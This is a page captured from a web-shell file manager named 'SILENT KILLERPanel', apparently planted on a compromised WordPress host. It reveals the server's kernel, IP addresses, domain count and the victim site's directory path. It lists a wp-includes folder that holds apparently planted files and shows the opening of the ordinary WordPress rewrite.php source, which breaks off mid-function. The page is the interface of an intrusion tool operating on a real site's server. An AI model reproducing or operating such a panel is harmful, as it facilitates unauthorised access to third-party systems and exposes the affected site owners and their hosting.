SILENT KILLERPanel

Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284 >


Operation   : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 198.54.126.246 | Your IP: 216.73.216.181
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284/

NameTypeSizeLast ModifiedActions
ID3 Directory - -
IXR Directory - -
PHPMailer Directory - -
Requests Directory - -
SimplePie Directory - -
Text Directory - -
assets Directory - -
block-bindings Directory - -
block-patterns Directory - -
block-supports Directory - -
blocks Directory - -
certificates Directory - -
css Directory - -
customize Directory - -
fonts Directory - -
html-api Directory - -
images Directory - -
interactivity-api Directory - -
js Directory - -
l10n Directory - -
php-compat Directory - -
pomo Directory - -
rest-api Directory - -
sitemaps Directory - -
sodium_compat Directory - -
style-engine Directory - -
theme-compat Directory - -
widgets Directory - -
.htaccess File 2042 bytes February 07 2026 02:49:06.
2index.php File 5361 bytes November 13 2025 04:05:35.
admin-bar.php File 38200 bytes May 01 2025 00:24:22.
admin.php File 5361 bytes February 06 2026 03:17:44.
atomlib.php File 13172 bytes September 19 2024 06:50:16.
author-template.php File 20045 bytes May 15 2023 03:28:24.
block-bindings.php File 6688 bytes June 12 2024 22:14:14.
block-editor.php File 29891 bytes April 16 2025 05:29:33.
block-i18n.json File 316 bytes August 11 2021 18:38:02.
block-patterns.php File 14307 bytes April 16 2025 05:29:33.
block-template-utils.php File 63001 bytes April 16 2025 05:29:33.
block-template.php File 16450 bytes April 16 2025 05:29:33.
blocks.php File 114145 bytes July 16 2025 00:22:38.
bookmark-template.php File 13862 bytes April 16 2025 05:29:31.
bookmark.php File 16521 bytes March 23 2024 23:50:12.
cache-compat.php File 7063 bytes October 11 2022 03:52:12.
cache.php File 14568 bytes October 11 2022 03:52:12.
canonical.php File 35617 bytes August 23 2024 09:17:16.
capabilities.php File 43812 bytes October 15 2024 23:43:20.
category-template.php File 58097 bytes September 26 2023 09:57:12.
category.php File 13923 bytes April 16 2025 05:29:33.
class-IXR.php File 3711 bytes April 16 2025 05:29:33.
class-avif-info.php File 30709 bytes April 27 2024 00:32:14.
class-feed.php File 539 bytes October 01 2024 08:20:20.
class-http.php File 367 bytes June 17 2022 20:50:14.
class-json.php File 43684 bytes February 04 2023 00:05:20.
class-oembed.php File 401 bytes June 17 2022 20:50:14.
class-phpass.php File 7865 bytes September 18 2024 06:38:16.
class-phpmailer.php File 664 bytes July 21 2020 22:28:02.
class-pop3.php File 22215 bytes April 16 2025 05:29:34.
class-requests.php File 3331 bytes April 05 2023 22:42:26.
class-simplepie.php File 1547 bytes October 01 2024 08:20:20.
class-smtp.php File 457 bytes January 27 2021 00:15:58.
class-snoopy.php File 37715 bytes February 04 2023 00:05:20.
class-walker-category-dropdown.php File 3563 bytes September 14 2023 22:16:20.
class-walker-category.php File 9571 bytes September 08 2023 19:02:24.
class-walker-comment.php File 15315 bytes March 19 2024 01:16:14.
class-walker-nav-menu.php File 13138 bytes April 16 2025 05:29:36.
class-walker-page-dropdown.php File 3804 bytes September 14 2023 22:16:20.
class-walker-page.php File 8706 bytes September 14 2023 22:16:20.
class-wp-admin-bar.php File 18968 bytes July 18 2024 10:22:18.
class-wp-ajax-response.php File 6360 bytes September 13 2022 01:17:14.
class-wp-application-passwords.php File 18193 bytes April 16 2025 05:29:34.
class-wp-block-bindings-registry.php File 9557 bytes September 23 2024 22:05:16.
class-wp-block-bindings-source.php File 4086 bytes September 04 2024 02:03:16.
class-wp-block-editor-context.php File 2444 bytes September 13 2022 01:17:14.
class-wp-block-list.php File 5851 bytes November 02 2023 09:34:24.
class-wp-block-metadata-registry.php File 12989 bytes April 16 2025 05:29:33.
class-wp-block-parser-block.php File 3649 bytes June 27 2023 10:15:38.
class-wp-block-parser-frame.php File 3111 bytes September 20 2024 11:25:36.
class-wp-block-parser.php File 12626 bytes May 03 2024 05:39:16.
class-wp-block-pattern-categories-registry.php File 6465 bytes September 13 2022 01:17:14.
class-wp-block-patterns-registry.php File 11877 bytes September 27 2024 18:50:18.
class-wp-block-styles-registry.php File 7497 bytes April 16 2025 05:29:34.
class-wp-block-supports.php File 6720 bytes April 16 2025 05:29:33.
class-wp-block-template.php File 3127 bytes September 20 2024 11:37:12.
class-wp-block-templates-registry.php File 8325 bytes February 12 2025 00:35:26.
class-wp-block-type-registry.php File 6107 bytes October 12 2023 22:04:34.
class-wp-block-type.php File 18359 bytes May 02 2024 09:31:10.
class-wp-block.php File 24135 bytes April 16 2025 05:29:36.
class-wp-classic-to-block-menu-converter.php File 5182 bytes August 22 2023 03:21:20.
class-wp-comment-query.php File 49489 bytes June 22 2024 02:56:14.
class-wp-comment.php File 10531 bytes April 16 2025 05:29:36.
class-wp-customize-control.php File 26945 bytes April 16 2025 05:29:33.
class-wp-customize-manager.php File 203687 bytes April 16 2025 05:29:34.
class-wp-customize-nav-menus.php File 58754 bytes October 01 2025 00:40:57.
class-wp-customize-panel.php File 11804 bytes April 16 2025 05:29:33.
class-wp-customize-section.php File 12303 bytes October 14 2024 04:39:12.
class-wp-customize-setting.php File 31056 bytes April 16 2025 05:29:34.
class-wp-customize-widgets.php File 73304 bytes April 16 2025 05:29:33.
class-wp-date-query.php File 36826 bytes April 16 2025 05:29:33.
class-wp-dependencies.php File 16233 bytes August 26 2024 09:18:14.
class-wp-dependency.php File 3721 bytes November 26 2022 01:42:16.
class-wp-duotone.php File 41877 bytes June 14 2024 21:48:12.
class-wp-editor.php File 73429 bytes May 01 2025 00:24:22.
class-wp-embed.php File 17025 bytes April 16 2025 05:29:34.
class-wp-error.php File 8596 bytes February 22 2023 03:09:20.
class-wp-exception.php File 1347 bytes September 28 2024 04:58:14.
class-wp-fatal-error-handler.php File 9244 bytes October 22 2024 19:46:16.
class-wp-feed-cache-transient.php File 4270 bytes October 01 2024 08:20:20.
class-wp-feed-cache.php File 969 bytes October 01 2024 08:20:20.
class-wp-hook.php File 17094 bytes September 18 2023 22:11:18.
class-wp-http-cookie.php File 8483 bytes June 25 2023 02:47:24.
class-wp-http-curl.php File 13635 bytes September 22 2023 03:59:12.
class-wp-http-encoding.php File 7783 bytes June 23 2023 00:27:24.
class-wp-http-ixr-client.php File 4595 bytes September 13 2022 01:17:14.
class-wp-http-proxy.php File 7074 bytes June 23 2023 00:06:26.
class-wp-http-requests-hooks.php File 3116 bytes December 16 2022 08:02:18.
class-wp-http-requests-response.php File 5494 bytes October 11 2023 16:35:26.
class-wp-http-response.php File 4071 bytes September 13 2022 01:17:14.
class-wp-http-streams.php File 16859 bytes September 22 2023 03:59:12.
class-wp-http.php File 42673 bytes April 16 2025 05:29:33.
class-wp-image-editor-gd.php File 21256 bytes April 16 2025 05:29:34.
class-wp-image-editor-imagick.php File 35829 bytes April 16 2025 05:29:34.
class-wp-image-editor.php File 18621 bytes April 16 2025 05:29:34.
class-wp-list-util.php File 8537 bytes February 28 2024 09:08:16.
class-wp-locale-switcher.php File 7870 bytes April 16 2025 05:29:33.
class-wp-locale.php File 17977 bytes April 16 2025 05:29:36.
class-wp-matchesmapregex.php File 2922 bytes February 06 2024 11:55:14.
class-wp-meta-query.php File 31625 bytes April 23 2024 05:55:08.
class-wp-metadata-lazyloader.php File 7927 bytes May 11 2023 20:45:24.
class-wp-navigation-fallback.php File 10305 bytes October 06 2023 23:36:22.
class-wp-network-query.php File 20951 bytes June 22 2024 02:56:14.
class-wp-network.php File 13390 bytes September 14 2024 07:42:16.
class-wp-object-cache.php File 18618 bytes September 19 2024 21:42:16.
class-wp-oembed-controller.php File 7999 bytes March 06 2024 15:35:12.
class-wp-oembed.php File 32700 bytes July 16 2025 00:22:38.
class-wp-paused-extensions-storage.php File 6205 bytes September 04 2024 03:49:14.
class-wp-phpmailer.php File 4896 bytes April 16 2025 05:29:33.
class-wp-plugin-dependencies.php File 26409 bytes April 16 2025 05:29:36.
class-wp-post-type.php File 31774 bytes April 16 2025 05:29:34.
class-wp-post.php File 7582 bytes April 16 2025 05:29:33.
class-wp-query.php File 159117 bytes April 16 2025 05:29:36.
class-wp-recovery-mode-cookie-service.php File 7971 bytes October 04 2022 13:29:14.
class-wp-recovery-mode-email-service.php File 12277 bytes May 03 2023 01:15:22.
class-wp-recovery-mode-key-service.php File 5978 bytes April 16 2025 05:29:32.
class-wp-recovery-mode-link-service.php File 4557 bytes September 13 2022 01:17:14.
class-wp-recovery-mode.php File 12547 bytes April 16 2025 05:29:33.
class-wp-rewrite.php File 64782 bytes October 20 2024 09:24:18.
class-wp-role.php File 3617 bytes September 08 2023 19:02:24.
class-wp-roles.php File 9680 bytes September 04 2024 03:49:14.
class-wp-script-modules.php File 20557 bytes April 16 2025 05:29:36.
class-wp-scripts.php File 29438 bytes August 11 2024 08:30:14.
class-wp-session-tokens.php File 8413 bytes April 16 2025 05:29:31.
class-wp-simplepie-file.php File 4502 bytes October 01 2024 08:20:20.
class-wp-simplepie-sanitize-kses.php File 3004 bytes April 16 2025 05:29:33.
class-wp-site-query.php File 32719 bytes September 11 2024 21:38:20.
class-wp-site.php File 8548 bytes September 13 2022 01:17:14.
class-wp-speculation-rules.php File 8621 bytes April 16 2025 05:29:33.
class-wp-styles.php File 12104 bytes August 11 2024 08:30:14.
class-wp-tax-query.php File 20649 bytes February 17 2024 08:17:12.
class-wp-taxonomy.php File 19653 bytes April 16 2025 05:29:34.
class-wp-term-query.php File 41963 bytes November 06 2024 00:54:16.
class-wp-term.php File 6392 bytes September 13 2022 01:17:14.
class-wp-text-diff-renderer-inline.php File 2073 bytes February 15 2024 05:57:10.
class-wp-text-diff-renderer-table.php File 19974 bytes April 16 2025 05:29:33.
class-wp-textdomain-registry.php File 11575 bytes November 21 2024 00:05:16.
class-wp-theme-json-data.php File 2903 bytes June 04 2024 21:25:14.
class-wp-theme-json-resolver.php File 36832 bytes April 16 2025 05:29:33.
class-wp-theme-json-schema.php File 8461 bytes June 06 2024 17:32:16.
class-wp-theme-json.php File 164639 bytes April 16 2025 05:29:34.
class-wp-theme.php File 66904 bytes April 16 2025 05:29:34.
class-wp-token-map.php File 29712 bytes July 20 2024 09:14:16.
class-wp-url-pattern-prefixer.php File 5896 bytes April 16 2025 05:29:34.
class-wp-user-meta-session-tokens.php File 4084 bytes January 09 2019 15:34:50.
class-wp-user-query.php File 44749 bytes April 16 2025 05:29:33.
class-wp-user-request.php File 3399 bytes April 16 2025 05:29:36.
class-wp-user.php File 24088 bytes April 16 2025 05:29:33.
class-wp-walker.php File 14416 bytes July 26 2024 17:26:14.
class-wp-widget-factory.php File 4441 bytes September 13 2022 01:17:14.
class-wp-widget.php File 19523 bytes April 16 2025 05:29:34.
class-wp-xmlrpc-server.php File 216538 bytes April 16 2025 05:29:33.
class-wp.php File 30421 bytes April 16 2025 05:29:32.
class-wpdb.php File 118284 bytes April 16 2025 05:29:31.
class.wp-dependencies.php File 373 bytes September 20 2022 23:47:12.
class.wp-scripts.php File 343 bytes September 20 2022 23:47:12.
class.wp-styles.php File 338 bytes September 20 2022 23:47:12.
comment-template.php File 104198 bytes July 16 2025 00:22:38.
comment.php File 132641 bytes April 16 2025 05:29:34.
compat.php File 17470 bytes April 16 2025 05:29:36.
cron.php File 43752 bytes April 16 2025 05:29:34.
date.php File 400 bytes June 17 2022 20:50:14.
default-constants.php File 12459 bytes October 01 2024 09:28:16.
default-filters.php File 37791 bytes April 16 2025 05:29:36.
default-widgets.php File 3389 bytes April 16 2025 05:29:31.
deprecated.php File 192658 bytes April 16 2025 05:29:33.
embed-template.php File 338 bytes June 17 2022 20:50:14.
embed.php File 39266 bytes April 16 2025 05:29:34.
error-protection.php File 5215 bytes May 03 2023 01:15:22.
feed-atom-comments.php File 6583 bytes March 04 2024 23:11:10.
feed-atom.php File 4200 bytes April 16 2025 05:29:33.
feed-rdf.php File 3747 bytes January 29 2020 11:15:18.
feed-rss.php File 2268 bytes January 29 2020 11:15:18.
feed-rss2-comments.php File 5215 bytes March 04 2024 23:11:10.
feed-rss2.php File 4878 bytes January 29 2020 11:15:18.
feed.php File 24505 bytes November 12 2024 04:25:14.
fonts.php File 10845 bytes October 28 2024 07:27:10.
formatting.php File 344015 bytes July 16 2025 00:22:38.
functions.php File 291649 bytes April 16 2025 05:29:33.
functions.wp-scripts.php File 15652 bytes May 27 2024 06:21:14.
functions.wp-styles.php File 9677 bytes May 27 2024 06:21:14.
general-template.php File 173592 bytes April 16 2025 05:29:32.
global-styles-and-settings.php File 22355 bytes April 16 2025 05:29:34.
http.php File 26406 bytes October 28 2024 07:49:16.
https-detection.php File 6951 bytes April 16 2025 05:29:34.
https-migration.php File 5835 bytes July 11 2023 08:08:26.
index.htm File 1104 bytes January 26 2026 05:14:06.
index.html File 1104 bytes January 26 2026 05:14:06.
kses.php File 75566 bytes April 16 2025 05:29:36.
l10n.php File 69624 bytes April 16 2025 05:29:36.
link-template.php File 157801 bytes April 16 2025 05:29:34.
load.php File 56440 bytes April 16 2025 05:29:34.
locale.php File 162 bytes October 09 2019 02:49:04.
media-template.php File 64154 bytes April 16 2025 05:29:34.
media.php File 221590 bytes July 16 2025 00:22:38.
meta.php File 66337 bytes April 16 2025 05:29:34.
ms-blogs.php File 26939 bytes April 16 2025 05:29:34.
ms-default-constants.php File 6015 bytes June 14 2024 06:20:14.
ms-default-filters.php File 7730 bytes February 24 2023 11:53:20.
ms-deprecated.php File 22853 bytes April 13 2024 03:17:14.
ms-files.php File 3838 bytes May 01 2025 00:24:22.
ms-functions.php File 92676 bytes April 16 2025 05:29:33.
ms-load.php File 20977 bytes March 26 2024 02:49:18.
ms-network.php File 4876 bytes May 02 2023 20:56:24.
ms-settings.php File 5291 bytes April 16 2025 05:29:33.
ms-site.php File 42414 bytes April 16 2025 05:29:34.
nav-menu-template.php File 27084 bytes April 16 2025 05:29:36.
nav-menu.php File 45467 bytes August 06 2024 04:30:20.
option.php File 104159 bytes April 16 2025 05:29:33.
pluggable-deprecated.php File 7418 bytes April 16 2025 05:29:33.
pluggable.php File 123794 bytes April 16 2025 05:29:36.
plugin.php File 35465 bytes June 08 2023 17:24:22.
post-formats.php File 8196 bytes May 28 2024 01:59:16.
post-template.php File 69742 bytes April 16 2025 05:29:33.
post-thumbnail-template.php File 11973 bytes April 16 2025 05:29:33.
post.php File 292806 bytes April 16 2025 05:29:33.
query.php File 38129 bytes August 24 2023 18:31:16.
registration-functions.php File 200 bytes November 12 2020 21:47:08.
registration.php File 200 bytes November 12 2020 21:47:08.
rest-api.php File 101351 bytes April 16 2025 05:29:34.
revision.php File 31835 bytes April 16 2025 05:29:36.
rewrite.php File 20635 bytes September 19 2024 04:38:12.
robots-template.php File 6279 bytes April 07 2022 01:03:04.
rss-functions.php File 255 bytes November 17 2020 09:22:06.
rss.php File 23113 bytes September 19 2024 07:10:12.
script-loader.php File 134356 bytes May 01 2025 00:24:22.
script-modules.php File 8806 bytes October 14 2024 04:19:16.
session.php File 258 bytes February 06 2020 17:03:12.
shortcodes.php File 25145 bytes May 25 2024 12:34:12.
sitemaps.php File 4332 bytes May 16 2021 03:08:06.
speculative-loading.php File 9652 bytes April 16 2025 05:29:34.
spl-autoload-compat.php File 441 bytes November 12 2020 21:47:08.
style-engine.php File 8657 bytes May 03 2024 14:17:12.
taxonomy.php File 177321 bytes April 16 2025 05:29:33.
template-canvas.php File 1623 bytes October 01 2023 09:52:28.
template-loader.php File 7130 bytes May 26 2020 19:07:10.
template.php File 25248 bytes February 22 2024 05:56:08.
theme-i18n.json File 1526 bytes April 16 2025 05:29:34.
theme-previews.php File 3926 bytes December 08 2023 17:02:24.
theme-templates.php File 7332 bytes April 16 2025 05:29:33.
theme.json File 8704 bytes June 12 2024 15:41:14.
theme.php File 135397 bytes April 16 2025 05:29:33.
update.php File 38597 bytes April 16 2025 05:29:36.
user.php File 176917 bytes April 16 2025 05:29:36.
vars.php File 7656 bytes April 16 2025 05:29:34.
version.php File 2184 bytes October 01 2025 00:40:57.
widgets.php File 71813 bytes April 16 2025 05:29:34.
wp-db.php File 445 bytes July 22 2022 08:15:12.
wp-diff.php File 1893 bytes April 16 2025 05:29:33.

Reading File: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284//rewrite.php

<?php
/**
 * WordPress Rewrite API
 *
 * @package WordPress
 * @subpackage Rewrite
 */

/**
 * Endpoint mask that matches nothing.
 *
 * @since 2.1.0
 */
define( 'EP_NONE', 0 );

/**
 * Endpoint mask that matches post permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_PERMALINK', 1 );

/**
 * Endpoint mask that matches attachment permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_ATTACHMENT', 2 );

/**
 * Endpoint mask that matches any date archives.
 *
 * @since 2.1.0
 */
define( 'EP_DATE', 4 );

/**
 * Endpoint mask that matches yearly archives.
 *
 * @since 2.1.0
 */
define( 'EP_YEAR', 8 );

/**
 * Endpoint mask that matches monthly archives.
 *
 * @since 2.1.0
 */
define( 'EP_MONTH', 16 );

/**
 * Endpoint mask that matches daily archives.
 *
 * @since 2.1.0
 */
define( 'EP_DAY', 32 );

/**
 * Endpoint mask that matches the site root.
 *
 * @since 2.1.0
 */
define( 'EP_ROOT', 64 );

/**
 * Endpoint mask that matches comment feeds.
 *
 * @since 2.1.0
 */
define( 'EP_COMMENTS', 128 );

/**
 * Endpoint mask that matches searches.
 *
 * Note that this only matches a search at a "pretty" URL such as
 * `/search/my-search-term`, not `?s=my-search-term`.
 *
 * @since 2.1.0
 */
define( 'EP_SEARCH', 256 );

/**
 * Endpoint mask that matches category archives.
 *
 * @since 2.1.0
 */
define( 'EP_CATEGORIES', 512 );

/**
 * Endpoint mask that matches tag archives.
 *
 * @since 2.3.0
 */
define( 'EP_TAGS', 1024 );

/**
 * Endpoint mask that matches author archives.
 *
 * @since 2.1.0
 */
define( 'EP_AUTHORS', 2048 );

/**
 * Endpoint mask that matches pages.
 *
 * @since 2.1.0
 */
define( 'EP_PAGES', 4096 );

/**
 * Endpoint mask that matches all archive views.
 *
 * @since 3.7.0
 */
define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );

/**
 * Endpoint mask that matches everything.
 *
 * @since 2.1.0
 */
define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );

/**
 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
 *
 * Any value in the $after parameter that isn't 'bottom' will result in the rule
 * being placed at the top of the rewrite rules.
 *
 * @since 2.1.0
 * @since 4.4.0 Array support was added to the `$query` parameter.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string       $regex Regular expression to match request against.
 * @param string|array $query The corresponding query vars for this rewrite rule.
 * @param string       $after Optional. Priority of the new rule. Accepts 'top'
 *                            or 'bottom'. Default 'bottom'.
 */
function add_rewrite_rule( $regex, $query, $after = 'bottom' ) {
	global $wp_rewrite;

	$wp_rewrite->add_rule( $regex, $query, $after );
}

/**
 * Adds a new rewrite tag (like %postname%).
 *
 * The `$query` parameter is optional. If it is omitted you must ensure that you call
 * this on, or before, the {@see 'init'} hook. This is because `$query` defaults to
 * `$tag=`, and for this to work a new query var has to be added.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $tag   Name of the new rewrite tag.
 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
 * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty.
 */
function add_rewrite_tag( $tag, $regex, $query = '' ) {
	// Validate the tag's name.
	if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) {
		return;
	}

	global $wp_rewrite, $wp;

	if ( empty( $query ) ) {
		$qv = trim( $tag, '%' );
		$wp->add_query_var( $qv );
		$query = $qv . '=';
	}

	$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
}

/**
 * Removes an existing rewrite tag (like %postname%).
 *
 * @since 4.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $tag Name of the rewrite tag.
 */
function remove_rewrite_tag( $tag ) {
	global $wp_rewrite;
	$wp_rewrite->remove_rewrite_tag( $tag );
}

/**
 * Adds a permalink structure.
 *
 * @since 3.0.0
 *
 * @see WP_Rewrite::add_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name   Name for permalink structure.
 * @param string $struct Permalink structure.
 * @param array  $args   Optional. Arguments for building the rules from the permalink structure,
 *                       see WP_Rewrite::add_permastruct() for full details. Default empty array.
 */
function add_permastruct( $name, $struct, $args = array() ) {
	global $wp_rewrite;

	// Back-compat for the old parameters: $with_front and $ep_mask.
	if ( ! is_array( $args ) ) {
		$args = array( 'with_front' => $args );
	}

	if ( func_num_args() === 4 ) {
		$args['ep_mask'] = func_get_arg( 3 );
	}

	$wp_rewrite->add_permastruct( $name, $struct, $args );
}

/**
 * Removes a permalink structure.
 *
 * Can only be used to remove permastructs that were added using add_permastruct().
 * Built-in permastructs cannot be removed.
 *
 * @since 4.5.0
 *
 * @see WP_Rewrite::remove_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name Name for permalink structure.
 */
function remove_permastruct( $name ) {
	global $wp_rewrite;

	$wp_rewrite->remove_permastruct( $name );
}

/**
 * Adds a new feed type like /atom1/.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string   $feedname Feed name. Should not start with '_'.
 * @param callable $callback Callback to run on feed display.
 * @return string Feed action name.
 */
function add_feed( $feedname, $callback ) {
	global $wp_rewrite;

	if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) {
		$wp_rewrite->feeds[] = $feedname;
	}

	$hook = 'do_feed_' . $feedname;

	// Remove default function hook.
	remove_action( $hook, $hook );

	add_action( $hook, $callback, 10, 2 );

	return $hook;
}

/**
 * Removes rewrite rules and then recreate rewrite rules.
 *
 * @since 3.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param bool $hard Whether to update .htaccess (hard flush) or just update
 *                   rewrite_rules option (soft flush). Default is true (hard).
 */
function flush_rewrite_rules( $hard = true ) {
	global $wp_rewrite;

	if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) {
		$wp_rewrite->flush_rules( $hard );
	}
}

/**
 * Adds an endpoint, like /trackback/.
 *
 * Adding an endpoint creates extra rewrite rules for each of the matching
 * places specified by the provided bitmask. For example:
 *
 *     add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
 *
 * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
 * that describes a permalink (post) or page. This is rewritten to "json=$match"
 * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
 * "[permalink]/json/foo/").
 *
 * A new query var with the same name as the endpoint will also be created.
 *
 * When specifying $places ensure that you are using the EP_* constants (or a
 * combination of them using the bitwise OR operator) as their values are not
 * guaranteed to remain static (especially `EP_ALL`).
 *
 * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets
 * activated and deactivated.
 *
 * @since 2.1.0
 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string      $name      Name of the endpoint.
 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
 *                               Accepts a mask of:
 *                               - `EP_ALL`
 *                               - `EP_NONE`
 *                               - `EP_ALL_ARCHIVES`
 *                               - `EP_ATTACHMENT`
 *                               - `EP_AUTHORS`
 *                               - `EP_CATEGORIES`
 *                               - `EP_COMMENTS`
 *                               - `EP_DATE`
 *                               - `EP_DAY`
 *                               - `EP_MONTH`
 *                               - `EP_PAGES`
 *                               - `EP_PERMALINK`
 *                               - `EP_ROOT`
 *                               - `EP_SEARCH`
 *                               - `EP_TAGS`
 *                               - `EP_YEAR`
 * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var
 *                               for this endpoint. Defaults to the value of `$name`.
 */
function add_rewrite_endpoint( $name, $places, $query_var = true ) {
	global $wp_rewrite;
	$wp_rewrite->add_endpoint( $name, $places, $query_var );
}

/**
 * Filters the URL base for taxonomies.
 *
 * To remove any manually prepended /index.php/.
 *
 * @access private
 * @since 2.6.0
 *
 * @param string $base The taxonomy base that we're going to filter
 * @return string
 */
function _wp_filter_taxonomy_base( $base ) {
	if ( ! empty( $base ) ) {
		$base = preg_replace( '|^/index\.php/|', '', $base );
		$base = trim( $base, '/' );
	}
	return $base;
}


/**
 * Resolves numeric slugs that collide with date permalinks.
 *
 * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query()
 * like a date archive, as when your permalink structure is `/%year%/%postname%/` and
 * a post with post_name '05' has the URL `/2015/05/`.
 *
 * This function detects conflicts of this type and resolves them in favor of the
 * post permalink.
 *
 * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs
 * that would result in a date archive conflict. The resolution performed in this
 * function is primarily for legacy content, as well as cases when the admin has changed
 * the site's permalink structure in a way that introduces URL conflicts.
 *
 * @since 4.3.0
 *
 * @param array $query_vars Optional. Query variables for setting up the loop, as determined in
 *                          WP::parse_request(). Default empty array.
 * @return array Returns the original array of query vars, with date/post conflicts resolved.
 */
function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) {
	if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) {
		return $query_vars;
	}

	// Identify the 'postname' position in the permastruct array.
	$permastructs   = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
	$postname_index = array_search( '%postname%', $permastructs, true );

	if ( false === $postname_index ) {
		return $query_vars;
	}

	/*
	 * A numeric slug could be confused with a year, month, or day, depending on position. To account for
	 * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our
	 * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check
	 * for month-slug clashes when `is_month` *or* `is_day`.
	 */
	$compare = '';
	if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) {
		$compare = 'year';
	} elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) {
		$compare = 'monthnum';
	} elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) {
		$compare = 'day';
	}

	if ( ! $compare ) {
		return $query_vars;
	}

	// This is the potentially clashing slug.
	$value = '';
	if ( $compare && array_key_exists( $compare, $query_vars ) ) {
		$value = $query_vars[ $compare ];
	}

	$post = get_page_by_path( $value, OBJECT, 'post' );
	if ( ! ( $post instanceof WP_Post ) ) {
		return $query_vars;
	}

	// If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
	if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) {
		// $matches[1] is the year the post was published.
		if ( (int) $query_vars['year'] !== (int) $matches[1] ) {
			return $query_vars;
		}

		// $matches[2] is the month the post was published.
		if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && (int) $query_vars['monthnum'] !== (int) $matches[2] ) {
			return $query_vars;
		}
	}

	/*
	 * If the located post contains nextpage pagination, then the URL chunk following postname may be
	 * intended as the page number. Verify that it's a valid page before resolving to it.
	 */
	$maybe_page = '';
	if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) {
		$maybe_page = $query_vars['monthnum'];
	} elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) {
		$maybe_page = $query_vars['day'];
	}
	// Bug found in #11694 - 'page' was returning '/4'.
	$maybe_page = (int) trim( $maybe_page, '/' );

	$post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1;

	// If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive.
	if ( 1 === $post_page_count && $maybe_page ) {
		return $query_vars;
	}

	// If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive.
	if ( $post_page_count > 1 && $maybe_page > $post_page_count ) {
		return $query_vars;
	}

	// If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage.
	if ( '' !== $maybe_page ) {
		$query_vars['page'] = (int) $maybe_page;
	}

	// Next, unset autodetected date-related query vars.
	unset( $query_vars['year'] );
	unset( $query_vars['monthnum'] );
	unset( $query_vars['day'] );

	// Then, set the identified post.
	$query_vars['name'] = $post->post_name;

	// Finally, return the modified query vars.
	return $query_vars;
}

/**
 * Examines a URL and try to determine the post ID it represents.
 *
 * Checks are supposedly from the hosted site blog.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $url Permalink to check.
 * @return int Post ID, or 0 on failure.
 */
function url_to_postid( $url ) {
	global $wp_rewrite;

	/**
	 * Filters the URL to derive the post ID from.
	 *
	 * @since 2.2.0
	 *
	 * @param string $url The URL to derive the post ID from.
	 */
	$url = apply_filters( 'url_to_postid', $url );

	$url_host = parse_url( $url, PHP_URL_HOST );

	if ( is_string( $url_host ) ) {
		$url_host = str_replace( 'www.', '', $url_host );
	} else {
		$url_host = '';
	}

